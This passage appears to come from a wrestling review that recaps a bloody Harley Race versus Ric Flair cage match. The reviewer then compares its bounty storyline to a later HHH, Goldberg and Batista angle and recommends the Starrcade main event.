We go to that overhead camera shot again as Race hits what looks like a shoulder breaker for two. A falling headbutt has Flair in trouble again as does being slammed face first into the cage. Another shot into the steel has Flair in trouble and Race is in full control. The referee pulls Race off Flair for the third time but this time he yells at Flair as well. Ric is busted open now.

Race headbutts out of the corner but Flair falls on top during a suplex attempt. The champion slams him down and drops a middle rope headbutt but stuns himself in the process. A suplex gets two more for Race and there is blood EVERYWHERE. Race pounds away and Kiniski has a problem with that too. Harley shrugs off some Flair punches and sends him into the cage before choking away with his boot.

 

This story would be used again twenty years later with HHH (the reincarnation of Harley Race, right down to the sideburns) when he put out a bounty on Goldberg and Batista claimed the $100,000.  The problem at the end of the day though was the blowoff match was pretty lame and Goldberg won the title before the bounty and subsequent ankle injury took place.  It didn’t help that Goldberg won the rematch as well, making HHH look more inept than evil.

The original is one of the first big angles on a national stage and it set up a classic match as a result.  You could still use this story today and if you use it right, the magic will come back again.  Check out the main event from Starrcade if you want to see a good old school style match.